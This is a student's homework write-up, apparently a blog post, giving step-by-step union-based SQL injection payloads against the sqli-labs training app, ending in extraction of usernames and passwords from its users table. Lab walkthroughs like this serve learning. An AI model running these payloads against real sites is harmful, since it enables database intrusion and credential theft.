网络安全第十次作业

sqli-labs复现

通过在id后面加反斜杠\发现是单引号闭合
在这里插入图片描述

1.查询字段数

有3个字段
?id=1' and 1=1 order by 3 -- qwe	//正常
?id=1' and 1=1 order by 4 -- qwe  //报错

在这里插入图片描述

2.查询输出点

?id=1' and 1=2 union select 1,2,3 -- qwe

在这里插入图片描述

3.查询库名

?id=1' and 1=2 union select 1,database(),3 -- qwe					//库名是security

在这里插入图片描述

4.查询表名

有emails,referers,uagents,users表

?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 -- qwe
?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- qwe

在这里插入图片描述

5.查询字段名

查询users表:
有字段:id,username,password
?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 -- qwe
?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- qwe

在这里插入图片描述

6.查询数据

?id=1' and 1=2 union select 1,username,3 from users limit 0,1 -- qwe

?id=1' and 1=2 union select 1,group_concat(id,0x3a,username,0x3a,password,0x3c,0x68,0x72,0x2F,0x3E),3 from users limit 0,1 -- qwe
0x3a	:
0x3c	<
0x68	h
0x72	r
0x2F	/
0x3E	>

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值